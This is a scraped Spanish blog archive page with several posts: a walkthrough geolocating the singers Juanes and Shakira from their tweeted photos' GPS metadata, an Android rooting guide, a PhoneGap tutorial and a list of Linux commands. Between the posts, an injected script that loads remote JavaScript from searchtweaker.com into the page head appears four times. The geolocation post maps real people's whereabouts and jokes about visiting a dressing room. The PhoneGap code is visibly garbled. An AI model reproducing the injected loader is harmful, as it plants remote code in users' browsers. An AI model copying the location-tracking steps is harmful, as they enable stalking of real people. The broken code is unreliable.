Archivos para enero, 2013

Impactos da computação em nuvem

Publicado: enero 26, 2013 en Uncategorized
Anuncios
Existe una herramienta que permite descargar las publicadas en por un usuario automáticamente y que también podría ayudar en esta tarea, se llama Twitter Image Downloader, esta escrita en .net y es de código abierto, esta herramienta nos facilita la vida al bajar las imágenes publicadas en los últimos 150 tweets de una cuenta (por limitaciones de la api en twitter) para luego extraer sus meta datos y conseguir información que nos ayude a localizar el usuario de twitter en un momento determinado.
 
Ya que algunos han experimentado problemas a la hora de usar cree.py, aquí otra alternativa que junto a un visor EXIF como Exif ViewerJeffrey’s Exif viewer o la misma FOCA, te ayudará en la extracción de información  sobre las fotos publicadas por un usuario en twitter, con el añadido de ser open source y poder modificar la herramienta para que adaptarla a nuestras necesidades especificas.
La geolocalización esta en auge, todos quieren saber donde están sus amigos y gustosos dan su información en sitios como Foursquare, DiOui o Facebook Places para no estar fuera de la “moda”, pero… ¿sabes quien ve realmente esta información?, muchas veces quienes publican estos datos en la red, no son conscientes de las consecuencias que esto puede acarrear.
Geolocalizacion Cómo localizar usuarios de twitter y flickr a través de sus fotos
Secuestradores, Violadores, Ladrones y demás delincuentes ya hacen uso de las nuevas tecnologías y la información que publicas en internet, para llevar a cabo sus delitos, como en el famoso caso de Lisa Montgomery; por eso debes ser consciente que la información que publicas en la red la puede ver CUALQUIER PERSONA y te recomendamos seguir los consejos que constantemente ofrecemos en nuestra comunidad, para estar un poco mas seguros en la red.
Esta información es especialmente sensible cuando quien la publica, no es consciente que lo está haciendo, como es el caso de las fotos en cuyo interior (sus metadatos) se encuentra almacenada la ubicación de donde fue tomada, una característica adoptada cada vez en mas cámaras, especialmente las integradas a teléfonos celulares inteligentes.
Gracias a El Maligno, me entero que Yiannis Kakavas ha desarrollado una herramienta llamada Cree.py, que automatiza el proceso de extracción y localización de la información GPS publicada en las fotos por un usuario de Twitter o , dejándola a la mano de cualquier persona.
La herramienta programada en Python y de código abierto, es muy fácil de utilizar, cuenta con versiones para Windows, GNU Linux y si resolvemos unas cuentas dependencias, podemos hacerla correr en Mac OS X.

Para este articulo analizaremos 2 de los famosos colombianos, que mas publican fotografías por Twitter…. @juanes y @Shakira

Juanes GPS1 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Lo primero que hacemos es abrir la herramienta, escribir la cuenta de Twitter o Flickr que queremos analizar (podemos usar un buscador también) y después presionar “Geolocate Targe”, esperamos unos minutos mientras se procesa la información…. obteniendo un mapa como el siguiente, donde podemos ver los puntos geolocalizados de las fotos obtenidas desde el perfil publico de @juanes
Juanes GPS9 Cómo localizar usuarios de twitter y flickr a través de sus fotos
Para confirmar la información almacenada analizaremos las fotos descargadas por el Cree.py, con la FOCA, herramienta que permite analizar metadatos a imágenes y documentos.

Juanes GPS2 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Fotos bastante personales de @Juanes con su esposa Karen Martínez mientras estaban de viaje por Londres.

Juanes GPS3 Cómo localizar usuarios de twitter y flickr a través de sus fotos

La ubicación de la oficina donde posiblemente produzcan los discos del artista

Juanes GPS4 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Haciendo arreglos a las canciones o las pistas…

Juanes GPS5 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Fotos del parque que se observa claramente en Creppy

Juanes GPS6 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Segunda foto del Hyde Park

Juanes GPS7 Cómo localizar usuarios de twitter y flickr a través de sus fotos
Como podemos ver no es poca la información que cualquier persona puede obtener de la cuenta publica de Juanes, ¿los paparazzi sabrán de esto?, seguramente les sería de mucha utilidad….
Ahora pasamos a otra de nuestras celebridades… @shakira quien tampoco sabe que al publicar fotografías por Twitter, también esta publicando su ubicación, para ello seguimos el mismo procedimiento que con @juanes, buscamos su cuenta oficial, damos click en el botón “Geolocate Target” y esperamos que Cree.py haga su trabajo…
Shakira GPS1 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Después de esperar un poco, podemos ver algunas locaciones como el Coca Cola Park en South Africa.

Shakira GPS2 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Algunas direcciones en New York…

Shakira GPS3 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Y para corroborar el trabajo de cree.py de nuevo pasamos la FOCA a todas las fotos, logrando reconocer algunas de ellas.

Shakira GPS4 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Shakira con su novio de turno…

Shakira GPS5 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Foto del escenario antes de la presentación…

Shakira GPS6 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Ubicación de su camerino… ya sabes por si quieres darle un saludo…

Shakira GPS7 Cómo localizar usuarios de twitter y flickr a través de sus fotos

En un late night show…

Shakira GPS8 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Algunos apuntes poco interesantes… ¿o no?

Shakira GPS9 Cómo localizar usuarios de twitter y flickr a través de sus fotos

Detrás del telón…

Shakira GPS10 Cómo localizar usuarios de twitter y flickr a través de sus fotos

En el escenario..
Como pueden ver obtener la ubicación de los famosos no es nada complicado, pero es igual de fácil obtener la tuya; Por eso es tan importante que sigas los consejos que constantemente ofrecemos en nuestra comunidad, para estar un poco mas seguros en la red y seas mas cuidadoso con tu información.

Fuente: DragonJar.
(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Introducción

Entiendo que haya características que no estén disponibles para el usuario habitual de una aplicación o dispositivo, por aquello de dar una “experiencia controlada”, pero no termino de entender porque tienen que existir tantas características bloqueadas, ni por que es tan “complicado” en ocasiones sortear estos bloqueos. Cuando adquiero un chisme quiero sacar el máximo partido del mismo.

Para los dispositivos Nexus, existe una herramienta que puedes ejecutar tanto en Linux, como en MacOSX, como en Windows y que te permitirá con muy pocos pasos “root-earlos”, y poder sacar todo el partido.
Vamos a ello…

Root-eando, root-eando

Una advertencia: si nunca has “root-eado” tu Android, informarte que vas a perder toda la configuración, información, aplicaciones, que tengas instaladas, y tendrás que empezar de nuevo. Así que ojo.
Antes de nada tienes que descargar las herramientas necesarias para ello, que es básicamente “adb” (android debuge bridge), y que lo puedes instalar desde un repositorio creado desde WebUpd8, y que te permitirá hacer los pasos iniciales para realizar el “root-eo”.

Instalar adb

En el caso de Natty, Oneiric, Precise o Quantal puedes instalarlo fácilmente con solo añadir el siguiente repositorio, actualizar e instalar:

sudo add-apt-repository ppa:nilarimogard/webupd8 && sudo apt-get update && sudo apt-get install android-tools-adb android-tools-fastboot Descargar el archivo de root-eo

Lo primero es averiguar el nombre clave del modelo de tu dispositivo. Esto lo puedes hacer fácilmente utilizando Google Maps, solo tienes que acceder a Google Maps > Ajustes > Acerca de, y en la sección “Dispositivo” verás el nombre clave, por ejemplo en el caso de la imagen inferior verás que es “yakju”Ahora seleccionas el archivo correspondiente a tu dispositivo lo descargas y lo descomprimes en un directorio:

El proceso de “root-eo”

Los pasos son los siguientes:

  • Apaga tu dispositivo
  • Inicia pulsando de forma simultánea la tecla Encendido + la tecla de bajar volumen, esto en el caso de la Nexus 7, en el caso del Samsung Galaxy Nexus, tienes que pulsar de forma simultánea la tecla Encendido + bajar volumen + subir volumen. Supongo que en otros dispositivos será distinto. Al hacer esto tienes que ver esta imagen:

lsub

  • esto arrojará algo como:

Bus 001 Device 021: ID 18d1:4e40 Google Inc. Bus 001 Device 002: ID 058f:6362 Alcor Micro Corp. Flash Card Reader/Writer Bus 008 Device 002: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 008 Device 003: ID 050d:0084 Belkin Components F8T003v2 Bluetooth Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

  • Ahora tienes que crear el siguiente archivo “/etc/udev/rules.d/51-android.rules”, que lo puedes hacer directamente en el terminal, en modo administrador:

sudo nano /etc/udev/rules.d/51-android.rules

  • Y añadir la siguiente línea a partir de los datos extraídos del listado de dispositivos usb (lsub) que hemos visto antes. Te tienes que fijar en la primera línea. Los parámetros en mi caso son “18d1″ par el vendedor y “4e40″ para el modelo. El resto de parámetros tienes que dejar los mismos que verás en la siguiente línea

SUBSYSTEM==”usb”, SYSFS{idVendor}==”18d1″, ATTR{idProduct}==”4e40″, MODE=”0666″, OWNER=”atareao”, GROUP=”atareao”

  • Una vez añadido esto, solo tienes que reiniciar el servicio, ejecutando el siguiente comando:

sudo service udev restart

  • Da permisos de ejecución al archivo “fastboot-linux”, con el siguiente comando:

chmod +x fastboot-linux

  • Ahora ya puedes ir al directorio donde has descargado y descomprimido el archivo, y empezar con el “root-eo”. Para ello, solo tienes que ejecutar el siguiente comando

./fastboot-linux
Con esto ya está todo, solo tienes que esperar unos minutos y ya habrás “root-eado” tu dispositivo Nexus. Y verás un “Androide” rojo.                                                                                       
                                                                                                                                  gracias  BladeH

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Aplicaciones Android con PhoneGap

Publicado: enero 17, 2013 en Uncategorized
Hola gente vaga 🙂 … que va ! ,es sólo un decir muchachos porque me imagino que muchos de ustedes que están  leyendo estas líneas es porque les interesa el saber un poco más, están  investigando y dándole un buen uso al internet!.
Con PhoneGap no tendremos limitaciones de procesamientos de datos pudiendo ser en el servidor como en el terminal. En función a esto les dejaré algunos ejemplos que con sinceridad quizás mi fuerte no es el desarrollo de software pero es bueno saber de todo un poco ,no creen . Lo siguiente es una app básica que posee un formulario de entrada que el usuario puede utilizar generando una lista con los datos introducidos, para eso copia el siguiente código en el fichero Index:

###################################CÓDIGO##########################################
<html>
 <head>
  <title> PhoneGap-Workshop
 </title>

 <style>
   body {
   background: white;
   }
   div#main{
   background: #ccc;
   border: black 1px solid;
   height:80%;
   padding:15%
   width:80%;
   -webkit-border-radius: 10px ;
   }
  </style>  

  <meta name=>>viewport>>content=>>width=device-width,initialscale=0>>></meta>
 </head>
 <body>
  <div id=>>main>>>
    <h1>Ejemplo de Almacenamiento local “Destroyer”</h1>
   <form id=>>Formular>>>
    <input type=>>text>>> id=>>eingabeName>>placeholder =>>Tu_entrada>>/>
    <button id=>>submitEintrag>>Añadir a la lista</button>28  <br>
   </form>
  </div>
 </body>
</html>
#####################################################################################

Lo siguiente que necesitaremos es la función script el cual tomará la entrada, lo insertará en la posición deseada y después de procesar los datos vacie la entrada:

###################################CÓDIGO##########################################
#Validar la entrada
<script> 
document.addEventListener(<<DOMContentLoaded>>, function() {
var ListaFormulario= document.getElementById(ListaFormulario’ );
var CampoFormulario= document.getElementById(NombreFormulario’ );
 document.getElementById(<<Formulario>>).
 addEventListener(<<submit>>,function (evt) {
evt.preventDefault();
 var nuevaEntrada= CampoFormulario.value;
 var nuevaListadeEntrada= document.createElement(li’);
nuevalistadeEntrada.innerHTML= nuevaEntrada;
ListaFormulario.AppendChild(nuevaListadeEntrada);
CampoFormulario.value=<<>>;
return false;
}, false);
});
</script> 
#####################################################################################

 Declaramos una lista en la prte inferior del formulario, donde se iran añadiendo las entradas, por lo que usamos la etiqueta <ul>:

<ul id=>>ListaFormulario>>></ul> 

Cabe acotar señores que que la función añade las entradas a la lista pero no utiliza ningún almacenamiento permanente para guardar los cambios(para eso utilizaremos API HTML LocalStorage)

 Para integrar el video destroyer.mp4 en tu app , tuiliza este código:

var videoTag= ‘<video id= “VideoDestroyer” width= “240” height= “120”‘ “autobuffer src=>>destroyer.mp4>>controls> </video>”;
Con el atributo controls establecemos las funciones de control típicas , y con el Framework XUI se maneja el inicio y la visualización del video

###################################CÓDIGO##########################################

function showAndPlayVideo() {
if ( !x$(“VideoDestroyer”)
.legth){
x$(“#noVideo”).inner 
(videoTag);
x$(“#VideoDestroyer”)[0].
play();
x$(“#VideoDestroyer”).on(“clic k” ,function () {
this.pause();
}).on(“pause” , function () { 
x$(this).remove();
});
}}
#####################################################################################

Existe otro elemento que les sera de mucho interés, el canvas el cual hace posible la exhibición de objetos gráficos, animaciones, manipular imágenes y mucho más. HTML 5 se apoya de DOM para poder reproducir las animaciones que a su vez se apoya en JavaScript.

<canvas id=”Canvas-example”width=”150″ height =”150″></canvas>

Por el momento les voy dejando alguito, la verdad ando algo cansado ….mañana les dejaré muchos más ejemplos….
Nota: si te considera un buen desarrollador o conocedor de las diversas técnicas de hacking , entonces te digo que Peroma Project  es lo que buscas… si estas interesado en formar un grupo de investigación , o aprender nuevas técnicas ponte en contacto con nosotros…porque amamos el Código libre y porque el conocimiento se comparte ….

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Muchas veces estamos en nuestra distro GNU/Linux y queremos instalar algo o modificar cierta configuración del sistema pero no conocemos o no nos acordamos los comandos de la terminal como para hacerlo, ya que siempre es la única forma (y la mejor diría yo) de hacerlo.

Es por eso que les traemos una lista con los comandos mas conocidos y aquellos a los que tenemos que recordar leyendo un cuaderno.
Sabemos que la mejor forma de aprender es practicar, asi que es por eso que les sugerimos que si son usuarios de GNU/Linux traten de usar la consola lo mas que puedan para que puedan entender a fondo como es su sistema y mas que nada, como funciona.

Le dejamos con la lista de comandos mencionada:

Información Del Sistema
  • arch: mostrar la arquitectura de la máquina (1).
  • uname -m: mostrar la arquitectura de la máquina (2).
  • uname -r: mostrar la versión del kernel usado.
  • dmidecode -q: mostrar los componentes (hardware) del sistema.
  • hdparm -i /dev/hda: mostrar las características de un disco duro.
  • hdparm -tT /dev/sda: realizar prueba de lectura en un disco duro.
  • cat /proc/cpuinfo: mostrar información de la CPU.
  • cat /proc/interrupts: mostrar las interrupciones.
  • cat /proc/meminfo: verificar el uso de memoria.
  • cat /proc/swaps: mostrar ficheros swap.
  • cat /proc/version: mostrar la versión del kernel.
  • cat /proc/net/dev: mostrar adaptadores de red y estadísticas.
  • cat /proc/mounts: mostrar el sistema de ficheros montado.
  • lspci -tv: mostrar los dispositivos PCI.
  • lsusb -tv: mostrar los dispositivos USB.
  • date: mostrar la fecha del sistema.
  • cal 2011: mostrar el almanaque de 2011.
  • cal 07 2011: mostrar el almanaque para el mes julio de 2011.
  • date 041217002011.00: colocar (declarar, ajustar) fecha y hora.
  • clock -w: guardar los cambios de fecha en la BIOS.
Apagar (Reiniciar Sistema o Cerrar Sesión)
  • shutdown -h now: apagar el sistema (1).
  • init 0: apagar el sistema (2).
  • telinit 0: apagar el sistema (3).
  • halt: apagar el sistema (4).
  • shutdown -h hours: minutes &: apagado planificado del sistema.
  • shutdown -c: cancelar un apagado planificado del sistema.
  • shutdown -r now: reiniciar (1).
  • reboot: reiniciar (2).
  • logout: cerrar sesión.
Archivos y Directorios
  • cd /home: Entrar en el directorio “home”.
  • cd ..: Retroceder un nivel.
  • cd ../..: Retroceder 2 niveles.
  • cd: Ir al directorio raíz.
  • cd ~user1: Ir al directorio user1.
  • cd –: Ir (regresar) al directorio anterior.
  • pwd: Mostrar el camino del directorio de trabajo.
  • ls: Ver los ficheros de un directorio.
  • ls -F: Ver los ficheros de un directorio.
  • ls -l:  Mostrar los detalles de ficheros y carpetas de un directorio.
  • ls -a: Mostrar los ficheros ocultos.
  • ls *[0-9]*: mostrar los ficheros y carpetas que contienen números.
  • tree: mostrar los ficheros y carpetas en forma de árbol comenzando por la raíz.(1)
  • lstree: mostrar los ficheros y carpetas en forma de árbol comenzando por la raíz.(2)
  • mkdir dir1: crear una carpeta o directorio con nombre ‘dir1′.
  • mkdir dir1 dir2: crear dos carpetas o directorios simultáneamente (Crear dos directorios a la vez).
  • mkdir -p /tmp/dir1/dir2: crear un árbol de directorios.
  • rm -f file1: borrar el fichero llamado ‘file1′.
  • rmdir dir1: borrar la carpeta llamada ‘dir1′.
  • rm -rf dir1: eliminar una carpeta llamada ‘dir1′ con su contenido de forma recursiva. (Si lo borro recursivo estoy diciendo que es con su contenido).
  • rm -rf dir1 dir2: borrar dos carpetas (directorios) con su contenido de forma recursiva.
  • mv dir1 new_dir: renombrar o mover un fichero o carpeta (directorio).
  • cp file1: copiar un fichero.
  • cp file1 file2: copiar dos ficheros al unísono.
  • cp dir /* .: copiar todos los ficheros de un directorio dentro del directorio de trabajo actual.
  • cp -a /tmp/dir1 .: copiar un directorio dentro del directorio actual de trabajo.
  • cp -a dir1: copiar un directorio.
  • cp -a dir1 dir2: copiar dos directorio al unísono.
  • ln -s file1 lnk1: crear un enlace simbólico al fichero o directorio.
  • ln file1 lnk1: crear un enlace físico al fichero o directorio.
  • touch -t 0712250000 file1: modificar el tiempo real (tiempo de creación) de un fichero o directorio.
  • file file1: salida (volcado en pantalla) del tipo mime de un fichero texto.
  • iconv -l: listas de cifrados conocidos.
  • iconv -f fromEncoding -t toEncoding inputFile > outputFile: crea una nueva forma del fichero de entrada asumiendo que está codificado en fromEncoding y convirtiéndolo a ToEncoding.
  • find . -maxdepth 1 -name *.jpg -print -exec convert ”{}” -resize 80×60 “thumbs/{}” ;: agrupar ficheros redimensionados en el directorio actual y enviarlos a directorios en vistas de miniaturas (requiere convertir desde ImagemagicK).
Encontrar archivos
  • find / -name file1: buscar fichero y directorio a partir de la raíz del sistema.
  • find / -user user1: buscar ficheros y directorios pertenecientes al usuario ‘user1′.
  • find /home/user1 -name *.bin: buscar ficheros con extensión ‘. bin’ dentro del directorio ‘/ home/user1′.
  • find /usr/bin -type f -atime +100: buscar ficheros binarios no usados en los últimos 100 días.
  • find /usr/bin -type f -mtime -10: buscar ficheros creados o cambiados dentro de los últimos 10 días.
  • find / -name *.rpm -exec chmod 755 ‘{}’ ;: buscar ficheros con extensión ‘.rpm’ y modificar permisos.
  • find / -xdev -name *.rpm: Buscar ficheros con extensión ‘.rpm’ ignorando los dispositivos removibles como cdrom, pen-drive, etc.…
  • locate *.ps: encuentra ficheros con extensión ‘.ps’ ejecutados primeramente con el command ‘updatedb’.
  • whereis halt: mostrar la ubicación de un fichero binario, de ayuda o fuente. En este caso pregunta dónde está el comando ‘halt’.
  • which halt: mostrar la senda completa (el camino completo) a un binario / ejecutable.
Montando un sistema de ficheros
  • mount /dev/hda2 /mnt/hda2: montar un disco llamado hda2. Verifique primero la existencia del directorio ‘/ mnt/hda2′; si no está, debe crearlo.
  • umount /dev/hda2: desmontar un disco llamado hda2. Salir primero desde el punto ‘/ mnt/hda2.
  • fuser -km /mnt/hda2: forzar el desmontaje cuando el dispositivo está ocupado.
  • umount -n /mnt/hda2: correr el desmontaje sin leer el fichero /etc/mtab. Útil cuando el fichero es de solo lectura o el disco duro está lleno.
  • mount /dev/fd0 /mnt/floppy: montar un disco flexible (floppy).
  • mount /dev/cdrom /mnt/cdrom: montar un cdrom / dvdrom.
  • mount /dev/hdc /mnt/cdrecorder: montar un cd regrabable o un dvdrom.
  • mount /dev/hdb /mnt/cdrecorder: montar un cd regrabable / dvdrom (un dvd).
  • mount -o loop file.iso /mnt/cdrom: montar un fichero o una imagen iso.
  • mount -t vfat /dev/hda5 /mnt/hda5: montar un sistema de ficheros FAT32.
  • mount /dev/sda1 /mnt/usbdisk: montar un usb pen-drive o una memoria (sin especificar el tipo de sistema de ficheros).
Espacio de Disco
  • df -h: mostrar una lista de las particiones montadas.
  • ls -lSr |more: mostrar el tamaño de los ficheros y directorios ordenados por tamaño.
  • du -sh dir1: Estimar el espacio usado por el directorio ‘dir1′.
  • du -sk * | sort -rn: mostrar el tamaño de los ficheros y directorios ordenados por tamaño.
  • rpm -q -a –qf ‘%10{SIZE}t%{NAME}n’ | sort -k1,1n: mostrar el espacio usado por los paquetes rpm instalados organizados por tamaño (Fedora, Redhat y otros).
  • dpkg-query -W -f=’${Installed-Size;10}t${Package}n’ | sort -k1,1n: mostrar el espacio usado por los paquetes instalados, organizados por tamaño (Ubuntu, Debian y otros).
Usuarios y Grupos
  • groupadd nombre_del_grupo: crear un nuevo grupo.
  • groupdel nombre_del_grupo: borrar un grupo.
  • groupmod -n nuevo_nombre_del_grupo viejo_nombre_del_grupo: renombrar un grupo.
  • useradd -c “Name Surname ” -g admin -d /home/user1 -s /bin/bash user1: Crear un nuevo usuario perteneciente al grupo “admin”.
  • useradd user1: crear un nuevo usuario.
  • userdel -r user1: borrar un usuario (‘-r’ elimina el directorio Home).
  • usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1: cambiar los atributos del usuario.
  • passwd: cambiar contraseña.
  • passwd user1: cambiar la contraseña de un usuario (solamente por root).
  • chage -E 2011-12-31 user1: colocar un plazo para la contraseña del usuario. En este caso dice que la clave expira el 31 de diciembre de 2011.
  • pwck: chequear la sintaxis correcta el formato de fichero de ‘/etc/passwd’ y la existencia de usuarios.
  • grpck: chequear la sintaxis correcta y el formato del fichero ‘/etc/group’ y la existencia de grupos.
  • newgrp group_name: registra a un nuevo grupo para cambiar el grupo predeterminado de los ficheros creados recientemente.
Permisos en Ficheros (Usa ”+” para colocar permisos y ”-” para eliminar)
  • ls -lh: Mostrar permisos.
  • ls /tmp | pr -T5 -W$COLUMNS: dividir la terminal en 5 columnas.
  • chmod ugo+rwx directory1: colocar permisos de lectura ®, escritura (w) y ejecución(x) al propietario (u), al grupo (g) y a otros (o) sobre el directorio ‘directory1′.
  • chmod go-rwx directory1: quitar permiso de lectura ®, escritura (w) y (x) ejecución al grupo (g) y otros (o) sobre el directorio ‘directory1′.
  • chown user1 file1: cambiar el dueño de un fichero.
  • chown -R user1 directory1: cambiar el propietario de un directorio y de todos los ficheros y directorios contenidos dentro.
  • chgrp group1 file1: cambiar grupo de ficheros.
  • chown user1:group1 file1: cambiar usuario y el grupo propietario de un fichero.
  • find / -perm -u+s: visualizar todos los ficheros del sistema con SUID configurado.
  • chmod u+s /bin/file1: colocar el bit SUID en un fichero binario. El usuario que corriendo ese fichero adquiere los mismos privilegios como dueño.
  • chmod u-s /bin/file1: deshabilitar el bit SUID en un fichero binario.
  • chmod g+s /home/public: colocar un bit SGID en un directorio –similar al SUID pero por directorio.
  • chmod g-s /home/public: desabilitar un bit SGID en un directorio.
  • chmod o+t /home/public: colocar un bit STIKY en un directorio. Permite el borrado de ficheros solamente a los dueños legítimos.
  • chmod o-t /home/public: desabilitar un bit STIKY en un directorio.
Atributos especiales en ficheros (Usa ”+” para colocar permisos y ”-” para eliminar)
  • chattr +a file1: permite escribir abriendo un fichero solamente modo append.
  • chattr +c file1: permite que un fichero sea comprimido / descomprimido automaticamente.
  • chattr +d file1: asegura que el programa ignore borrar los ficheros durante la copia de seguridad.
  • chattr +i file1: convierte el fichero en invariable, por lo que no puede ser eliminado, alterado, renombrado, ni enlazado.
  • chattr +s file1: permite que un fichero sea borrado de forma segura.
  • chattr +S file1: asegura que un fichero sea modificado, los cambios son escritos en modo synchronous como con sync.
  • chattr +u file1: te permite recuperar el contenido de un fichero aún si este está cancelado.
  • lsattr: mostrar atributos especiales.
Archivos y Ficheros comprimidos
  • bunzip2 file1.bz2: descomprime in fichero llamado ‘file1.bz2′.
  • bzip2 file1: comprime un fichero llamado ‘file1′.
  • gunzip file1.gz: descomprime un fichero llamado ‘file1.gz’.
  • gzip file1: comprime un fichero llamado ‘file1′.
  • gzip -9 file1: comprime con compresión máxima.
  • rar a file1.rar test_file: crear un fichero rar llamado ‘file1.rar’.
  • rar a file1.rar file1 file2 dir1: comprimir ‘file1′, ‘file2′ y ‘dir1′ simultáneamente.
  • rar x file1.rar: descomprimir archivo rar.
  • unrar x file1.rar: descomprimir archivo rar.
  • tar -cvf archive.tar file1: crear un tarball descomprimido.
  • tar -cvf archive.tar file1 file2 dir1: crear un archivo conteniendo ‘file1′, ‘file2′ y’dir1′.
  • tar -tf archive.tar: mostrar los contenidos de un archivo.
  • tar -xvf archive.tar: extraer un tarball.
  • tar -xvf archive.tar -C /tmp: extraer un tarball en / tmp.
  • tar -cvfj archive.tar.bz2 dir1: crear un tarball comprimido dentro de bzip2.
  • tar -xvfj archive.tar.bz2: descomprimir un archivo tar comprimido en bzip2
  • tar -cvfz archive.tar.gz dir1: crear un tarball comprimido en gzip.
  • tar -xvfz archive.tar.gz: descomprimir un archive tar comprimido en gzip.
  • zip file1.zip file1: crear un archivo comprimido en zip.
  • zip -r file1.zip file1 file2 dir1: comprimir, en zip, varios archivos y directorios de forma simultánea.
  • unzip file1.zip: descomprimir un archivo zip.
Paquetes RPM (Red Hat, Fedora y similares)
  • rpm -ivh package.rpm: instalar un paquete rpm.
  • rpm -ivh –nodeeps package.rpm: instalar un paquete rpm ignorando las peticiones de dependencias.
  • rpm -U package.rpm: actualizar un paquete rpm sin cambiar la configuración de los ficheros.
  • rpm -F package.rpm: actualizar un paquete rpm solamente si este está instalado.
  • rpm -e package_name.rpm: eliminar un paquete rpm.
  • rpm -qa: mostrar todos los paquetes rpm instalados en el sistema.
  • rpm -qa | grep httpd: mostrar todos los paquetes rpm con el nombre “httpd”.
  • rpm -qi package_name: obtener información en un paquete específico instalado.
  • rpm -qg “System Environment/Daemons”: mostar los paquetes rpm de un grupo software.
  • rpm -ql package_name: mostrar lista de ficheros dados por un paquete rpm instalado.
  • rpm -qc package_name: mostrar lista de configuración de ficheros dados por un paquete rpm instalado.
  • rpm -q package_name –whatrequires: mostrar lista de dependencias solicitada para un paquete rpm.
  • rpm -q package_name –whatprovides: mostar la capacidad dada por un paquete rpm.
  • rpm -q package_name –scripts: mostrar los scripts comenzados durante la instalación /eliminación.
  • rpm -q package_name –changelog: mostar el historial de revisions de un paquete rpm.
  • rpm -qf /etc/httpd/conf/httpd.conf: verificar cuál paquete rpm pertenece a un fichero dado.
  • rpm -qp package.rpm -l: mostrar lista de ficheros dados por un paquete rpm que aún no ha sido instalado.
  • rpm –import /media/cdrom/RPM-GPG-KEY: importar la firma digital de la llave pública.
  • rpm –checksig package.rpm: verificar la integridad de un paquete rpm.
  • rpm -qa gpg-pubkey: verificar la integridad de todos los paquetes rpm instalados.
  • rpm -V package_name: chequear el tamaño del fichero, licencias, tipos, dueño, grupo, chequeo de resumen de MD5 y última modificación.
  • rpm -Va: chequear todos los paquetes rpm instalados en el sistema. Usar con cuidado.
  • rpm -Vp package.rpm: verificar un paquete rpm no instalado todavía.
  • rpm2cpio package.rpm | cpio –extract –make-directories *bin*: extraer fichero ejecutable desde un paquete rpm.
  • rpm -ivh /usr/src/redhat/RPMS/arch/package.rpm: instalar un paquete construido desde una fuente rpm.
  • rpmbuild –rebuild package_name.src.rpm: construir un paquete rpm desde una fuente rpm.
Continuando con el listado de Comandos…..
Actualizador de paquetes YUM (Red Hat, Fedora y similares)
  • yum install package_name: descargar e instalar un paquete rpm.
  • yum localinstall package_name.rpm: este instalará un RPM y tratará de resolver todas las dependencies para ti, usando tus repositorios.
  • yum update package_name.rpm: actualizar todos los paquetes rpm instalados en el sistema.
  • yum update package_name: modernizar / actualizar un paquete rpm.
  • yum remove package_name: eliminar un paquete rpm.
  • yum list: listar todos los paquetes instalados en el sistema.
  • yum search package_name: Encontrar un paquete en repositorio rpm.
  • yum clean packages: limpiar un caché rpm borrando los paquetes descargados.
  • yum clean headers: eliminar todos los ficheros de encabezamiento que el sistema usa para resolver la dependencia.
  • yum clean all: eliminar desde los paquetes caché y ficheros de encabezado.
Paquetes Deb (Debian, Ubuntu y derivados)
  • dpkg -i package.deb: instalar / actualizar un paquete deb.
  • dpkg -r package_name: eliminar un paquete deb del sistema.
  • dpkg -l: mostrar todos los paquetes deb instalados en el sistema.
  • dpkg -l | grep httpd: mostrar todos los paquetes deb con el nombre “httpd”
  • dpkg -s package_name: obtener información en un paquete específico instalado en el sistema.
  • dpkg -L package_name: mostar lista de ficheros dados por un paquete instalado en el sistema.
  • dpkg –contents package.deb: mostrar lista de ficheros dados por un paquete no instalado todavía.
  • dpkg -S /bin/ping: verificar cuál paquete pertenece a un fichero dado.
  • Actualizador de paquetes APT (Debian, Ubuntu y derivados)
  • apt-get install package_name: instalar / actualizar un paquete deb.
  • apt-cdrom install package_name: instalar / actualizar un paquete deb desde un cdrom.
  • apt-get update: actualizar la lista de paquetes.
  • apt-get upgrade: actualizar todos los paquetes instalados.
  • apt-get remove package_name: eliminar un paquete deb del sistema.
  • apt-get check: verificar la correcta resolución de las dependencias.
  • apt-get clean: limpiar cache desde los paquetes descargados.
